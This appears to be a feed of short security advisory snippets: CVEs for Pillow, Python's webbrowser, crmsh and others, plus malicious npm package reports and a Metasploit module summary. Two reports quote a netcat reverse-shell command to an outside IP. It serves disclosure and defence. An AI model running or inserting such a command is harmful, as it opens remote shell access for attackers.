CVE-2026-55798

Pillow vulnerability CVE-2026-55798 affects WindowsViewer.get_command() in Pillow prior to 12.3.0. It builds a shell command by unescaped file path injected into an f-string and passes it to subprocess.Popen(..., shell=True), enabling injection of arbitrary cmd.exe commands. Impact is limited to ...

RLSA-2026:35833 Important: container-tools:rhel8 security update

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc. Security Fixes: github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption JWE object CVE-2026-34986...

GHSA-H9F9-H6GM-WC85 flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`

Unauthenticated Command Execution via HTTP MCP executemodule Summary The HTTP MCP endpoint POST /mcp in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.executeshell, which passes attacker-controlled input...

erlang: ssh: Erlang OTP ssh: Information disclosure via SFTP REALPATH handler

A flaw was found in Erlang OTP's Secure Shell SSH component, specifically within the SSH File Transfer Protocol SFTP daemon's sshsftpd module. An authenticated SFTP user can exploit an observable response discrepancy in the REALPATH handler to enumerate the existence of files and directories...

BIT-PYTHON-2026-4786 Incomplete mitigation of CVE-2026-4519, %action expansion for command injection to webbrowser.open()

Mitgation of CVE-2026-4519 was incomplete. If the URL contained "%action" the mitigation could be bypassed for certain browser types the "webbrowser.open" API could have commands injected into the underlying shell. See CVE-2026-4519 for details...

BIT-LIBPYTHON-2026-4786 Incomplete mitigation of CVE-2026-4519, %action expansion for command injection to webbrowser.open()

Mitgation of CVE-2026-4519 was incomplete. If the URL contained "%action" the mitigation could be bypassed for certain browser types the "webbrowser.open" API could have commands injected into the underlying shell. See CVE-2026-4519 for details...

ClusterLabs crmsh vulnerable to shell code injection

An issue was discovered in ClusterLabs crmsh through 4.2.1. Local attackers able to call crm history when crm is run were able to execute commands via shell code injection to the crm history commandline, potentially allowing escalation of privileges...

PYSEC-2026-799 ClusterLabs crmsh vulnerable to shell code injection

An issue was discovered in ClusterLabs crmsh through 4.2.1. Local attackers able to call crm history when crm is run were able to execute commands via shell code injection to the crm history commandline, potentially allowing escalation of privileges...

Malicious code in internallib_v234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...

MAL-2026-6796 Malicious code in internallib_v234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...

golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses

A flaw was found in golang.org/x/crypto/ssh. A remote malicious SSH peer can exploit this by sending unsolicited global request responses, which fills an internal buffer and blocks the connection's read loop. This prevents the associated resources from being released, leading to a resource leak p...

Important: Red Hat Security Advisory: container-tools:rhel8 security update

An update for the container-tools:rhel8 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for...

Malicious code in neon-terminal (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fe8b090e304f95042a17db9e22edef03d8cdd073a214806e8aa3ebe7b2d138f9 neon-terminal advertises itself as an ANSI color helper but its CJS entry dist/index.cjs and ESM entry src/index.js each execute a shell command at t...

MAL-2026-6793 Malicious code in neon-terminal (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fe8b090e304f95042a17db9e22edef03d8cdd073a214806e8aa3ebe7b2d138f9 neon-terminal advertises itself as an ANSI color helper but its CJS entry dist/index.cjs and ESM entry src/index.js each execute a shell command at t...

PT-2026-55966

Name of the Vulnerable Software and Affected Versions Pillow versions prior to 12.3.0 Description The WindowsViewer.get command function constructs a cmd.exe shell command by embedding a file path into an f-string without proper escaping. This result is then passed to subprocess.Popen...,...

Joern 4.0.575

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

CVE-2026-55798: Improper Neutralization of Special Elements used in an OS Command

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.getcommand constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen..., shell=True, allowing shell metacharacters in the file path to inject...

PT-2026-56070

Name of the Vulnerable Software and Affected Versions linuxfabrik-lib versions prior to 5.0.0 Linuxfabrik Monitoring Plugins versions prior to 5.2.0 Description A local privilege escalation issue exists when a check plugin includes user-provided input within a command passed to the shell exec...

The vulnerability of the SSH server of the Git repository management system Gitea, which allows a hacker to compromise the confidentiality and integrity of the protected information.

The vulnerability of the SSH server of the Git repository management system Gitea is related to the use of cryptographic algorithms that contain vulnerabilities. Exploiting this vulnerability could allow a malicious actor to compromise the confidentiality and integrity of the protected informatio...

📄 MacOS PackageKit ZSH Environment Privilege Escalation

This Metasploit module exploits CVE-2024-27822, a vulnerability in macOS PackageKit.framework where PKG installer scripts using a ZSH shebang !/bin/zsh are executed as root while inheriting the installing users environment. This causes ZSH to load the users /.zshenv with root privileges before th...